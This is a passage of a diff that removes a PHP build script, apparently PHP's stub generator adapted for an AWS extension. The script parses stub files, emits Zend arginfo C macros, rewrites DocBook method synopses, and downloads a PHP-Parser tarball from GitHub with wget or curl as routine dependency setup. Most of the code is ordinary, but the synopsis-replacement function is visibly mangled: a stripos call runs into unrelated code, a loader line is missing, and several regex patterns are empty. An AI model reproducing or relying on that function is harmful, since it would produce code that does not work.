Class_::MODIFIER_ABSTRACT && $this->classFlags & ~Class_::MODIFIER_ABSTRACT) { - $result[] = "abstract"; - } - - if ($this->flags & Class_::MODIFIER_PROTECTED) { - $result[] = "protected"; - } elseif ($this->flags & Class_::MODIFIER_PRIVATE) { - $result[] = "private"; - } else { - $result[] = "public"; - } - - if ($this->flags & Class_::MODIFIER_STATIC) { - $result[] = "static"; - } - - return $result; - } - - public function hasParamWithUnknownDefaultValue(): bool - { - foreach ($this->args as $arg) { - if ($arg->defaultValue && !$arg->hasProperDefaultValue()) { - return true; - } - } - - return false; - } - - public function equalsApartFromName(FuncInfo $other): bool { - if (count($this->args) !== count($other->args)) { - return false; - } - - for ($i = 0; $i < count($this->args); $i++) { - if (!$this->args[$i]->equals($other->args[$i])) { - return false; - } - } - - return $this->return->equals($other->return) - && $this->numRequiredArgs === $other->numRequiredArgs - && $this->cond === $other->cond; - } - - public function getArgInfoName(): string { - return $this->name->getArgInfoName(); - } - - public function getDeclarationKey(): string - { - $name = $this->alias ?? $this->name; - - return "$name|$this->cond"; - } - - public function getDeclaration(): ?string - { - if ($this->flags & Class_::MODIFIER_ABSTRACT) { - return null; - } - - $name = $this->alias ?? $this->name; - - return $name->getDeclaration(); - } - - public function getFunctionEntry(): string { - if ($this->name instanceof MethodName) { - if ($this->alias) { - if ($this->alias instanceof MethodName) { - return sprintf( - "\tZEND_MALIAS(%s, %s, %s, %s, %s)\n", - $this->alias->getDeclarationClassName(), $this->name->methodName, - $this->alias->methodName, $this->getArgInfoName(), $this->getFlagsAsArginfoString() - ); - } else if ($this->alias instanceof FunctionName) { - return sprintf( - "\tZEND_ME_MAPPING(%s, %s, %s, %s)\n", - $this->name->methodName, $this->alias->getNonNamespacedName(), - $this->getArgInfoName(), $this->getFlagsAsArginfoString() - ); - } else { - throw new Error("Cannot happen"); - } - } else { - $declarationClassName = $this->name->getDeclarationClassName(); - if ($this->flags & Class_::MODIFIER_ABSTRACT) { - return sprintf( - "\tZEND_ABSTRACT_ME_WITH_FLAGS(%s, %s, %s, %s)\n", - $declarationClassName, $this->name->methodName, $this->getArgInfoName(), - $this->getFlagsAsArginfoString() - ); - } - - return sprintf( - "\tZEND_ME(%s, %s, %s, %s)\n", - $declarationClassName, $this->name->methodName, $this->getArgInfoName(), - $this->getFlagsAsArginfoString() - ); - } - } else if ($this->name instanceof FunctionName) { - $namespace = $this->name->getNamespace(); - $declarationName = $this->name->getDeclarationName(); - - if ($this->alias && $this->isDeprecated) { - return sprintf( - "\tZEND_DEP_FALIAS(%s, %s, %s)\n", - $declarationName, $this->alias->getNonNamespacedName(), $this->getArgInfoName() - ); - } - - if ($this->alias) { - return sprintf( - "\tZEND_FALIAS(%s, %s, %s)\n", - $declarationName, $this->alias->getNonNamespacedName(), $this->getArgInfoName() - ); - } - - if ($this->isDeprecated) { - return sprintf( - "\tZEND_DEP_FE(%s, %s)\n", $declarationName, $this->getArgInfoName()); - } - - if ($namespace) { - // Render A\B as "A\\B" in C strings for namespaces - return sprintf( - "\tZEND_NS_FE(\"%s\", %s, %s)\n", - addslashes($namespace), $declarationName, $this->getArgInfoName()); - } else { - return sprintf("\tZEND_FE(%s, %s)\n", $declarationName, $this->getArgInfoName()); - } - } else { - throw new Error("Cannot happen"); - } - } - - private function getFlagsAsArginfoString(): string - { - $flags = "ZEND_ACC_PUBLIC"; - if ($this->flags & Class_::MODIFIER_PROTECTED) { - $flags = "ZEND_ACC_PROTECTED"; - } elseif ($this->flags & Class_::MODIFIER_PRIVATE) { - $flags = "ZEND_ACC_PRIVATE"; - } - - if ($this->flags & Class_::MODIFIER_STATIC) { - $flags .= "|ZEND_ACC_STATIC"; - } - - if ($this->flags & Class_::MODIFIER_FINAL) { - $flags .= "|ZEND_ACC_FINAL"; - } - - if ($this->flags & Class_::MODIFIER_ABSTRACT) { - $flags .= "|ZEND_ACC_ABSTRACT"; - } - - if ($this->isDeprecated) { - $flags .= "|ZEND_ACC_DEPRECATED"; - } - - return $flags; - } - - /** - * @param FuncInfo[] $funcMap - * @param FuncInfo[] $aliasMap - * @throws Exception - */ - public function getMethodSynopsisDocument(array $funcMap, array $aliasMap): ?string { - - $doc = new DOMDocument(); - $doc->formatOutput = true; - $methodSynopsis = $this->getMethodSynopsisElement($funcMap, $aliasMap, $doc); - if (!$methodSynopsis) { - return null; - } - - $doc->appendChild($methodSynopsis); - - return $doc->saveXML(); - } - - /** - * @param FuncInfo[] $funcMap - * @param FuncInfo[] $aliasMap - * @throws Exception - */ - public function getMethodSynopsisElement(array $funcMap, array $aliasMap, DOMDocument $doc): ?DOMElement { - if ($this->hasParamWithUnknownDefaultValue()) { - return null; - } - - if ($this->name->isConstructor()) { - $synopsisType = "constructorsynopsis"; - } elseif ($this->name->isDestructor()) { - $synopsisType = "destructorsynopsis"; - } else { - $synopsisType = "methodsynopsis"; - } - - $methodSynopsis = $doc->createElement($synopsisType); - - $aliasedFunc = $this->aliasType === "alias" && isset($funcMap[$this->alias->__toString()]) ? $funcMap[$this->alias->__toString()] : null; - $aliasFunc = $aliasMap[$this->name->__toString()] ?? null; - - if (($this->aliasType === "alias" && $aliasedFunc !== null && $aliasedFunc->isMethod() !== $this->isMethod()) || - ($aliasFunc !== null && $aliasFunc->isMethod() !== $this->isMethod()) - ) { - $role = $doc->createAttribute("role"); - $role->value = $this->isMethod() ? "oop" : "procedural"; - $methodSynopsis->appendChild($role); - } - - $methodSynopsis->appendChild(new DOMText("\n ")); - - foreach ($this->getModifierNames() as $modifierString) { - $modifierElement = $doc->createElement('modifier', $modifierString); - $methodSynopsis->appendChild($modifierElement); - $methodSynopsis->appendChild(new DOMText(" ")); - } - - $returnType = $this->return->getMethodSynopsisType(); - if ($returnType) { - $this->appendMethodSynopsisTypeToElement($doc, $methodSynopsis, $returnType); - } - - $methodname = $doc->createElement('methodname', $this->name->__toString()); - $methodSynopsis->appendChild($methodname); - - if (empty($this->args)) { - $methodSynopsis->appendChild(new DOMText("\n ")); - $void = $doc->createElement('void'); - $methodSynopsis->appendChild($void); - } else { - foreach ($this->args as $arg) { - $methodSynopsis->appendChild(new DOMText("\n ")); - $methodparam = $doc->createElement('methodparam'); - if ($arg->defaultValue !== null) { - $methodparam->setAttribute("choice", "opt"); - } - if ($arg->isVariadic) { - $methodparam->setAttribute("rep", "repeat"); - } - - $methodSynopsis->appendChild($methodparam); - $this->appendMethodSynopsisTypeToElement($doc, $methodparam, $arg->getMethodSynopsisType()); - - $parameter = $doc->createElement('parameter', $arg->name); - if ($arg->sendBy !== ArgInfo::SEND_BY_VAL) { - $parameter->setAttribute("role", "reference"); - } - - $methodparam->appendChild($parameter); - $defaultValue = $arg->getDefaultValueAsMethodSynopsisString(); - if ($defaultValue !== null) { - $initializer = $doc->createElement('initializer'); - if (preg_match('/^[a-zA-Z_][a-zA-Z_0-9]*$/', $defaultValue)) { - $constant = $doc->createElement('constant', $defaultValue); - $initializer->appendChild($constant); - } else { - $initializer->nodeValue = $defaultValue; - } - $methodparam->appendChild($initializer); - } - } - } - $methodSynopsis->appendChild(new DOMText("\n ")); - - return $methodSynopsis; - } - - public function discardInfoForOldPhpVersions(): void { - $this->return->type = null; - foreach ($this->args as $arg) { - $arg->type = null; - $arg->defaultValue = null; - } - } - - private function appendMethodSynopsisTypeToElement(DOMDocument $doc, DOMElement $elementToAppend, Type $type) { - if (count($type->types) > 1) { - $typeElement = $doc->createElement('type'); - $typeElement->setAttribute("class", "union"); - - foreach ($type->types as $type) { - $unionTypeElement = $doc->createElement('type', $type->name); - $typeElement->appendChild($unionTypeElement); - } - } else { - $typeElement = $doc->createElement('type', $type->types[0]->name); - } - - $elementToAppend->appendChild($typeElement); - } -} - -class ClassInfo { - /** @var Name */ - public $name; - /** @var FuncInfo[] */ - public $funcInfos; - - public function __construct(Name $name, array $funcInfos) { - $this->name = $name; - $this->funcInfos = $funcInfos; - } -} - -class FileInfo { - /** @var FuncInfo[] */ - public $funcInfos = []; - /** @var ClassInfo[] */ - public $classInfos = []; - /** @var bool */ - public $generateFunctionEntries = false; - /** @var string */ - public $declarationPrefix = ""; - /** @var bool */ - public $generateLegacyArginfo = false; - - /** - * @return iterable - */ - public function getAllFuncInfos(): iterable { - yield from $this->funcInfos; - foreach ($this->classInfos as $classInfo) { - yield from $classInfo->funcInfos; - } - } -} - -class DocCommentTag { - /** @var string */ - public $name; - /** @var string|null */ - public $value; - - public function __construct(string $name, ?string $value) { - $this->name = $name; - $this->value = $value; - } - - public function getValue(): string { - if ($this->value === null) { - throw new Exception("@$this->name does not have a value"); - } - - return $this->value; - } - - public function getType(): string { - $value = $this->getValue(); - - $matches = []; - - if ($this->name === "param") { - preg_match('/^\s*([\w\|\\\\\[\]]+)\s*\$\w+.*$/', $value, $matches); - } elseif ($this->name === "return") { - preg_match('/^\s*([\w\|\\\\\[\]]+)\s*$/', $value, $matches); - } - - if (isset($matches[1]) === false) { - throw new Exception("@$this->name doesn't contain a type or has an invalid format \"$value\""); - } - - return $matches[1]; - } - - public function getVariableName(): string { - $value = $this->value; - if ($value === null || strlen($value) === 0) { - throw new Exception("@$this->name doesn't have any value"); - } - - $matches = []; - - if ($this->name === "param") { - preg_match('/^\s*[\w\|\\\\\[\]]+\s*\$(\w+).*$/', $value, $matches); - } elseif ($this->name === "prefer-ref") { - preg_match('/^\s*\$(\w+).*$/', $value, $matches); - } - - if (isset($matches[1]) === false) { - throw new Exception("@$this->name doesn't contain a variable name or has an invalid format \"$value\""); - } - - return $matches[1]; - } -} - -/** @return DocCommentTag[] */ -function parseDocComment(DocComment $comment): array { - $commentText = substr($comment->getText(), 2, -2); - $tags = []; - foreach (explode("\n", $commentText) as $commentLine) { - $regex = '/^\*\s*@([a-z-]+)(?:\s+(.+))?$/'; - if (preg_match($regex, trim($commentLine), $matches)) { - $tags[] = new DocCommentTag($matches[1], $matches[2] ?? null); - } - } - - return $tags; -} - -function parseFunctionLike( - PrettyPrinterAbstract $prettyPrinter, - FunctionOrMethodName $name, - int $classFlags, - int $flags, - Node\FunctionLike $func, - ?string $cond -): FuncInfo { - $comment = $func->getDocComment(); - $paramMeta = []; - $aliasType = null; - $alias = null; - $isDeprecated = false; - $verify = true; - $docReturnType = null; - $docParamTypes = []; - - if ($comment) { - $tags = parseDocComment($comment); - foreach ($tags as $tag) { - if ($tag->name === 'prefer-ref') { - $varName = $tag->getVariableName(); - if (!isset($paramMeta[$varName])) { - $paramMeta[$varName] = []; - } - $paramMeta[$varName]['preferRef'] = true; - } else if ($tag->name === 'alias' || $tag->name === 'implementation-alias') { - $aliasType = $tag->name; - $aliasParts = explode("::", $tag->getValue()); - if (count($aliasParts) === 1) { - $alias = new FunctionName(new Name($aliasParts[0])); - } else { - $alias = new MethodName(new Name($aliasParts[0]), $aliasParts[1]); - } - } else if ($tag->name === 'deprecated') { - $isDeprecated = true; - } else if ($tag->name === 'no-verify') { - $verify = false; - } else if ($tag->name === 'return') { - $docReturnType = $tag->getType(); - } else if ($tag->name === 'param') { - $docParamTypes[$tag->getVariableName()] = $tag->getType(); - } - } - } - - $varNameSet = []; - $args = []; - $numRequiredArgs = 0; - $foundVariadic = false; - foreach ($func->getParams() as $i => $param) { - $varName = $param->var->name; - $preferRef = !empty($paramMeta[$varName]['preferRef']); - unset($paramMeta[$varName]); - - if (isset($varNameSet[$varName])) { - throw new Exception("Duplicate parameter name $varName for function $name"); - } - $varNameSet[$varName] = true; - - if ($preferRef) { - $sendBy = ArgInfo::SEND_PREFER_REF; - } else if ($param->byRef) { - $sendBy = ArgInfo::SEND_BY_REF; - } else { - $sendBy = ArgInfo::SEND_BY_VAL; - } - - if ($foundVariadic) { - throw new Exception("Error in function $name: only the last parameter can be variadic"); - } - - $type = $param->type ? Type::fromNode($param->type) : null; - if ($type === null && !isset($docParamTypes[$varName])) { - throw new Exception("Missing parameter type for function $name()"); - } - - if ($param->default instanceof Expr\ConstFetch && - $param->default->name->toLowerString() === "null" && - $type && !$type->isNullable() - ) { - $simpleType = $type->tryToSimpleType(); - if ($simpleType === null) { - throw new Exception( - "Parameter $varName of function $name has null default, but is not nullable"); - } - } - - $foundVariadic = $param->variadic; - - $args[] = new ArgInfo( - $varName, - $sendBy, - $param->variadic, - $type, - isset($docParamTypes[$varName]) ? Type::fromPhpDoc($docParamTypes[$varName]) : null, - $param->default ? $prettyPrinter->prettyPrintExpr($param->default) : null - ); - if (!$param->default && !$param->variadic) { - $numRequiredArgs = $i + 1; - } - } - - foreach (array_keys($paramMeta) as $var) { - throw new Exception("Found metadata for invalid param $var of function $name"); - } - - $returnType = $func->getReturnType(); - if ($returnType === null && $docReturnType === null && !$name->isConstructor() && !$name->isDestructor()) { - throw new Exception("Missing return type for function $name()"); - } - - $return = new ReturnInfo( - $func->returnsByRef(), - $returnType ? Type::fromNode($returnType) : null, - $docReturnType ? Type::fromPhpDoc($docReturnType) : null - ); - - return new FuncInfo( - $name, - $classFlags, - $flags, - $aliasType, - $alias, - $isDeprecated, - $verify, - $args, - $return, - $numRequiredArgs, - $cond - ); -} - -function handlePreprocessorConditions(array &$conds, Stmt $stmt): ?string { - foreach ($stmt->getComments() as $comment) { - $text = trim($comment->getText()); - if (preg_match('/^#\s*if\s+(.+)$/', $text, $matches)) { - $conds[] = $matches[1]; - } else if (preg_match('/^#\s*ifdef\s+(.+)$/', $text, $matches)) { - $conds[] = "defined($matches[1])"; - } else if (preg_match('/^#\s*ifndef\s+(.+)$/', $text, $matches)) { - $conds[] = "!defined($matches[1])"; - } else if (preg_match('/^#\s*else$/', $text)) { - if (empty($conds)) { - throw new Exception("Encountered else without corresponding #if"); - } - $cond = array_pop($conds); - $conds[] = "!($cond)"; - } else if (preg_match('/^#\s*endif$/', $text)) { - if (empty($conds)) { - throw new Exception("Encountered #endif without corresponding #if"); - } - array_pop($conds); - } else if ($text[0] === '#') { - throw new Exception("Unrecognized preprocessor directive \"$text\""); - } - } - - return empty($conds) ? null : implode(' && ', $conds); -} - -function getFileDocComment(array $stmts): ?DocComment { - if (empty($stmts)) { - return null; - } - - $comments = $stmts[0]->getComments(); - if (empty($comments)) { - return null; - } - - if ($comments[0] instanceof DocComment) { - return $comments[0]; - } - - return null; -} - -function handleStatements(FileInfo $fileInfo, array $stmts, PrettyPrinterAbstract $prettyPrinter) { - $conds = []; - foreach ($stmts as $stmt) { - if ($stmt instanceof Stmt\Nop) { - continue; - } - - if ($stmt instanceof Stmt\Namespace_) { - handleStatements($fileInfo, $stmt->stmts, $prettyPrinter); - continue; - } - - $cond = handlePreprocessorConditions($conds, $stmt); - if ($stmt instanceof Stmt\Function_) { - $fileInfo->funcInfos[] = parseFunctionLike( - $prettyPrinter, - new FunctionName($stmt->namespacedName), - 0, - 0, - $stmt, - $cond - ); - continue; - } - - if ($stmt instanceof Stmt\ClassLike) { - $className = $stmt->namespacedName; - $methodInfos = []; - foreach ($stmt->stmts as $classStmt) { - $cond = handlePreprocessorConditions($conds, $classStmt); - if ($classStmt instanceof Stmt\Nop) { - continue; - } - - if (!$classStmt instanceof Stmt\ClassMethod) { - throw new Exception("Not implemented {$classStmt->getType()}"); - } - - $classFlags = 0; - if ($stmt instanceof Class_) { - $classFlags = $stmt->flags; - } - - $flags = $classStmt->flags; - if ($stmt instanceof Stmt\Interface_) { - $flags |= Class_::MODIFIER_ABSTRACT; - } - - if (!($flags & Class_::VISIBILITY_MODIFIER_MASK)) { - throw new Exception("Method visibility modifier is required"); - } - - $methodInfos[] = parseFunctionLike( - $prettyPrinter, - new MethodName($className, $classStmt->name->toString()), - $classFlags, - $flags, - $classStmt, - $cond - ); - } - - $fileInfo->classInfos[] = new ClassInfo($className, $methodInfos); - continue; - } - - throw new Exception("Unexpected node {$stmt->getType()}"); - } -} - -function parseStubFile(string $code): FileInfo { - $lexer = new PhpParser\Lexer(); - $parser = new PhpParser\Parser\Php7($lexer); - $nodeTraverser = new PhpParser\NodeTraverser; - $nodeTraverser->addVisitor(new PhpParser\NodeVisitor\NameResolver); - $prettyPrinter = new class extends Standard { - protected function pName_FullyQualified(Name\FullyQualified $node) { - return implode('\\', $node->parts); - } - }; - - $stmts = $parser->parse($code); - $nodeTraverser->traverse($stmts); - - $fileInfo = new FileInfo; - $fileDocComment = getFileDocComment($stmts); - if ($fileDocComment) { - $fileTags = parseDocComment($fileDocComment); - foreach ($fileTags as $tag) { - if ($tag->name === 'generate-function-entries') { - $fileInfo->generateFunctionEntries = true; - $fileInfo->declarationPrefix = $tag->value ? $tag->value . " " : ""; - } else if ($tag->name === 'generate-legacy-arginfo') { - $fileInfo->generateLegacyArginfo = true; - } - } - } - - handleStatements($fileInfo, $stmts, $prettyPrinter); - return $fileInfo; -} - -function funcInfoToCode(FuncInfo $funcInfo, bool $minimal): string { - $code = ''; - - // Generate the minimal, most compatible arginfo across PHP versions - if ($minimal) { - $code .= sprintf("ZEND_BEGIN_ARG_INFO_EX(%s, 0, %d, %d)\n", - $funcInfo->getArgInfoName(), - $funcInfo->return->byRef, - $funcInfo->numRequiredArgs); - foreach ($funcInfo->args as $argInfo) { - $code .= sprintf("\tZEND_ARG_INFO(0, %s)\n", $argInfo->name); - } - } else { - $returnType = $funcInfo->return->type; - if ($returnType !== null) { - if (null !== $simpleReturnType = $returnType->tryToSimpleType()) { - if ($simpleReturnType->isBuiltin) { - $code .= sprintf( - "AWS_PHP_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(%s, %d, %d, %s, %d)\n", - $funcInfo->getArgInfoName(), $funcInfo->return->byRef, - $funcInfo->numRequiredArgs, - $simpleReturnType->toTypeCode(), $returnType->isNullable() - ); - } else { - $code .= sprintf( - "ZEND_BEGIN_ARG_WITH_RETURN_OBJ_INFO_EX(%s, %d, %d, %s, %d)\n", - $funcInfo->getArgInfoName(), $funcInfo->return->byRef, - $funcInfo->numRequiredArgs, - $simpleReturnType->toEscapedName(), $returnType->isNullable() - ); - } - } else { - $arginfoType = $returnType->toArginfoType(); - if ($arginfoType->hasClassType()) { - $code .= sprintf( - "ZEND_BEGIN_ARG_WITH_RETURN_OBJ_TYPE_MASK_EX(%s, %d, %d, %s, %s)\n", - $funcInfo->getArgInfoName(), $funcInfo->return->byRef, - $funcInfo->numRequiredArgs, - $arginfoType->toClassTypeString(), $arginfoType->toTypeMask() - ); - } else { - $code .= sprintf( - "ZEND_BEGIN_ARG_WITH_RETURN_TYPE_MASK_EX(%s, %d, %d, %s)\n", - $funcInfo->getArgInfoName(), $funcInfo->return->byRef, - $funcInfo->numRequiredArgs, - $arginfoType->toTypeMask() - ); - } - } - } else { - $code .= sprintf( - "ZEND_BEGIN_ARG_INFO_EX(%s, 0, %d, %d)\n", - $funcInfo->getArgInfoName(), $funcInfo->return->byRef, $funcInfo->numRequiredArgs - ); - } - - foreach ($funcInfo->args as $argInfo) { - $argKind = $argInfo->isVariadic ? "ARG_VARIADIC" : "ARG"; - $argDefaultKind = $argInfo->hasProperDefaultValue() ? "_WITH_DEFAULT_VALUE" : ""; - $argType = $argInfo->type; - if ($argType !== null) { - if (null !== $simpleArgType = $argType->tryToSimpleType()) { - if ($simpleArgType->isBuiltin) { - $code .= sprintf( - "\tZEND_%s_TYPE_INFO%s(%s, %s, %s, %d%s)\n", - $argKind, $argDefaultKind, $argInfo->getSendByString(), $argInfo->name, - $simpleArgType->toTypeCode(), $argType->isNullable(), - $argInfo->hasProperDefaultValue() ? ", " . $argInfo->getDefaultValueAsArginfoString() : "" - ); - } else { - $code .= sprintf( - "\tZEND_%s_OBJ_INFO%s(%s, %s, %s, %d%s)\n", - $argKind,$argDefaultKind, $argInfo->getSendByString(), $argInfo->name, - $simpleArgType->toEscapedName(), $argType->isNullable(), - $argInfo->hasProperDefaultValue() ? ", " . $argInfo->getDefaultValueAsArginfoString() : "" - ); - } - } else { - $arginfoType = $argType->toArginfoType(); - if ($arginfoType->hasClassType()) { - $code .= sprintf( - "\tZEND_%s_OBJ_TYPE_MASK(%s, %s, %s, %s, %s)\n", - $argKind, $argInfo->getSendByString(), $argInfo->name, - $arginfoType->toClassTypeString(), $arginfoType->toTypeMask(), - $argInfo->getDefaultValueAsArginfoString() - ); - } else { - $code .= sprintf( - "\tZEND_%s_TYPE_MASK(%s, %s, %s, %s)\n", - $argKind, $argInfo->getSendByString(), $argInfo->name, - $arginfoType->toTypeMask(), - $argInfo->getDefaultValueAsArginfoString() - ); - } - } - } else { - $code .= sprintf( - "\tZEND_%s_INFO%s(%s, %s%s)\n", - $argKind, $argDefaultKind, $argInfo->getSendByString(), $argInfo->name, - $argInfo->hasProperDefaultValue() ? ", " . $argInfo->getDefaultValueAsArginfoString() : "" - ); - } - } - } - - $code .= "ZEND_END_ARG_INFO()"; - return $code . "\n"; -} - -/** @param FuncInfo[] $generatedFuncInfos */ -function findEquivalentFuncInfo(array $generatedFuncInfos, FuncInfo $funcInfo): ?FuncInfo { - foreach ($generatedFuncInfos as $generatedFuncInfo) { - if ($generatedFuncInfo->equalsApartFromName($funcInfo)) { - return $generatedFuncInfo; - } - } - return null; -} - -/** @param iterable $funcInfos */ -function generateCodeWithConditions( - iterable $funcInfos, string $separator, Closure $codeGenerator): string { - $code = ""; - foreach ($funcInfos as $funcInfo) { - $funcCode = $codeGenerator($funcInfo); - if ($funcCode === null) { - continue; - } - - $code .= $separator; - if ($funcInfo->cond) { - $code .= "#if {$funcInfo->cond}\n"; - $code .= $funcCode; - $code .= "#endif\n"; - } else { - $code .= $funcCode; - } - } - return $code; -} - -function generateArgInfoCode(FileInfo $fileInfo, string $stubHash, bool $minimal): string { - $code = "/* This is a generated file, edit the .stub.php file instead.\n" - . " * Stub hash: $stubHash */\n"; - $generatedFuncInfos = []; - $code .= generateCodeWithConditions( - $fileInfo->getAllFuncInfos(), "\n", - function (FuncInfo $funcInfo) use(&$generatedFuncInfos, $minimal) { - /* If there already is an equivalent arginfo structure, only emit a #define */ - if ($generatedFuncInfo = findEquivalentFuncInfo($generatedFuncInfos, $funcInfo)) { - $code = sprintf( - "#define %s %s\n", - $funcInfo->getArgInfoName(), $generatedFuncInfo->getArgInfoName() - ); - } else { - $code = funcInfoToCode($funcInfo, $minimal); - } - - $generatedFuncInfos[] = $funcInfo; - return $code; - } - ); - - if ($fileInfo->generateFunctionEntries) { - $code .= "\n\n"; - - $generatedFunctionDeclarations = []; - $code .= generateCodeWithConditions( - $fileInfo->getAllFuncInfos(), "", - function (FuncInfo $funcInfo) use($fileInfo, &$generatedFunctionDeclarations) { - $key = $funcInfo->getDeclarationKey(); - if (isset($generatedFunctionDeclarations[$key])) { - return null; - } - - $generatedFunctionDeclarations[$key] = true; - return $fileInfo->declarationPrefix . $funcInfo->getDeclaration(); - } - ); - - if (!empty($fileInfo->funcInfos)) { - $code .= generateFunctionEntries(null, $fileInfo->funcInfos); - } - - foreach ($fileInfo->classInfos as $classInfo) { - $code .= generateFunctionEntries($classInfo->name, $classInfo->funcInfos); - } - } - - return $code; -} - -/** @param FuncInfo[] $funcInfos */ -function generateFunctionEntries(?Name $className, array $funcInfos): string { - $code = ""; - - $functionEntryName = "ext_functions"; - if ($className) { - $underscoreName = implode("_", $className->parts); - $functionEntryName = "class_{$underscoreName}_methods"; - } - - $code .= "\n\nstatic const zend_function_entry {$functionEntryName}[] = {\n"; - $code .= generateCodeWithConditions($funcInfos, "", function (FuncInfo $funcInfo) { - return $funcInfo->getFunctionEntry(); - }); - $code .= "\tZEND_FE_END\n"; - $code .= "};\n"; - - return $code; -} - -/** - * @param FuncInfo[] $funcMap - * @param FuncInfo[] $aliasMap - * @return array - */ -function generateMethodSynopses(array $funcMap, array $aliasMap): array { - $result = []; - - foreach ($funcMap as $funcInfo) { - $methodSynopsis = $funcInfo->getMethodSynopsisDocument($funcMap, $aliasMap); - if ($methodSynopsis !== null) { - $result[$funcInfo->name->getMethodSynopsisFilename() . ".xml"] = $methodSynopsis; - } - } - - return $result; -} - -/** - * @param FuncInfo[] $funcMap - * @param FuncInfo[] $aliasMap - * @return array - */ -function replaceMethodSynopses(string $targetDirectory, array $funcMap, array $aliasMap): array { - $methodSynopses = []; - - $it = new RecursiveIteratorIterator( - new RecursiveDirectoryIterator($targetDirectory), - RecursiveIteratorIterator::LEAVES_ONLY - ); - - foreach ($it as $file) { - $pathName = $file->getPathName(); - if (!preg_match('/\.xml$/i', $pathName)) { - continue; - } - - $xml = file_get_contents($pathName); - if ($xml === false) { - continue; - } - - if (stripos($xml, "formatOutput = false; - $doc->preserveWhiteSpace = true; - $doc->validateOnParse = true; - $success = $doc->loadXML($replacedXml); - if (!$success) { - echo "Failed opening $pathName\n"; - continue; - } - - $docComparator = new DOMDocument(); - $docComparator->preserveWhiteSpace = false; - $docComparator->formatOutput = true; - - $methodSynopsisElements = []; - foreach ($doc->getElementsByTagName("constructorsynopsis") as $element) { - $methodSynopsisElements[] = $element; - } - foreach ($doc->getElementsByTagName("destructorsynopsis") as $element) { - $methodSynopsisElements[] = $element; - } - foreach ($doc->getElementsByTagName("methodsynopsis") as $element) { - $methodSynopsisElements[] = $element; - } - - foreach ($methodSynopsisElements as $methodSynopsis) { - if (!$methodSynopsis instanceof DOMElement) { - continue; - } - - $list = $methodSynopsis->getElementsByTagName("methodname"); - $item = $list->item(0); - if (!$item instanceof DOMElement) { - continue; - } - $funcName = $item->textContent; - if (!isset($funcMap[$funcName])) { - continue; - } - $funcInfo = $funcMap[$funcName]; - - $newMethodSynopsis = $funcInfo->getMethodSynopsisElement($funcMap, $aliasMap, $doc); - if ($newMethodSynopsis === null) { - continue; - } - - // Retrieve current signature - - $params = []; - $list = $methodSynopsis->getElementsByTagName("methodparam"); - foreach ($list as $i => $item) { - if (!$item instanceof DOMElement) { - continue; - } - - $paramList = $item->getElementsByTagName("parameter"); - if ($paramList->count() !== 1) { - continue; - } - - $paramName = $paramList->item(0)->textContent; - $paramTypes = []; - - $paramList = $item->getElementsByTagName("type"); - foreach ($paramList as $type) { - if (!$type instanceof DOMElement) { - continue; - } - - $paramTypes[] = $type->textContent; - } - - $params[$paramName] = ["index" => $i, "type" => $paramTypes]; - } - - // Check if there is any change - short circuit if there is not any. - - $xml1 = $doc->saveXML($methodSynopsis); - $xml1 = preg_replace("/&([A-Za-z0-9._{}%-]+?;)/", "REPLACED-ENTITY-$1", $xml1); - $docComparator->loadXML($xml1); - $xml1 = $docComparator->saveXML(); - - $methodSynopsis->parentNode->replaceChild($newMethodSynopsis, $methodSynopsis); - - $xml2 = $doc->saveXML($newMethodSynopsis); - $xml2 = preg_replace("/&([A-Za-z0-9._{}%-]+?;)/", "REPLACED-ENTITY-$1", $xml2); - $docComparator->loadXML($xml2); - $xml2 = $docComparator->saveXML(); - - if ($xml1 === $xml2) { - continue; - } - - // Update parameter references - - $paramList = $doc->getElementsByTagName("parameter"); - /** @var DOMElement $paramElement */ - foreach ($paramList as $paramElement) { - if ($paramElement->parentNode && $paramElement->parentNode->nodeName === "methodparam") { - continue; - } - - $name = $paramElement->textContent; - if (!isset($params[$name])) { - continue; - } - - $index = $params[$name]["index"]; - if (!isset($funcInfo->args[$index])) { - continue; - } - - $paramElement->textContent = $funcInfo->args[$index]->name; - } - - // Return the updated XML - - $replacedXml = $doc->saveXML(); - - $replacedXml = preg_replace( - [ - "/REPLACED-ENTITY-([A-Za-z0-9._{}%-]+?;)/", - "//i", - "//i", - ], - [ - "&$1", - "", - "", - ], - $replacedXml - ); - - $methodSynopses[$pathName] = $replacedXml; - } - } - - return $methodSynopses; -} - -function installPhpParser(string $version, string $phpParserDir) { - $lockFile = __DIR__ . "/PHP-Parser-install-lock"; - $lockFd = fopen($lockFile, 'w+'); - if (!flock($lockFd, LOCK_EX)) { - throw new Exception("Failed to acquire installation lock"); - } - - try { - // Check whether a parallel process has already installed PHP-Parser. - if (is_dir($phpParserDir)) { - return; - } - - $cwd = getcwd(); - chdir(__DIR__); - - $tarName = "v$version.tar.gz"; - passthru("wget https://github.com/nikic/PHP-Parser/archive/$tarName", $exit); - if ($exit !== 0) { - passthru("curl -LO https://github.com/nikic/PHP-Parser/archive/$tarName", $exit); - } - if ($exit !== 0) { - throw new Exception("Failed to download PHP-Parser tarball"); - } - if (!mkdir($phpParserDir)) { - throw new Exception("Failed to create directory $phpParserDir"); - } - passthru("tar xvzf $tarName -C PHP-Parser-$version --strip-components 1", $exit); - if ($exit !== 0) { - throw new Exception("Failed to extract PHP-Parser tarball"); - } - unlink(__DIR__ . "/$tarName"); - chdir($cwd); - } finally { - flock($lockFd, LOCK_UN); - @unlink($lockFile); - } -} - -function initPhpParser() { - static $isInitialized = false; - if ($isInitialized) { - return; - } - - if (!extension_loaded("tokenizer")) { - throw new Exception("The \"tokenizer\" extension is not available"); - } - - $isInitialized = true; - $version = "4.9.0"; - $phpParserDir = __DIR__ . "/PHP-Parser-$version"; - if (!is_dir($phpParserDir)) { - installPhpParser($version, $phpParserDir); - } - - spl_autoload_register(function(string $class) use($phpParserDir) { - if (strpos($class, "PhpParser\\") === 0) { - $fileName = $phpParserDir . "/lib/" . str_replace("\\", "/", $class) . ".php"; - require $fileName; - } - }); -} - -$optind = null; -$options = getopt("fh", [ - "force-regeneration", - "parameter-stats", - "help", - "verify", - "generate-methodsynopses", - "replace-methodsynopses", - "minimal-arginfo"], $optind); - -$context = new Context; -$printParameterStats = isset($options["parameter-stats"]); -$verify = isset($options["verify"]); -$generateMethodSynopses = isset($options["generate-methodsynopses"]); -$replaceMethodSynopses = isset($options["replace-methodsynopses"]); -$context->forceRegeneration = isset($options["f"]) || isset($options["force-regeneration"]); -$context->forceParse = $context->forceRegeneration || $printParameterStats || $verify || $generateMethodSynopses || $replaceMethodSynopses; -$context->minimalArgInfo = isset($options["minimal-arginfo"]); -$targetMethodSynopses = 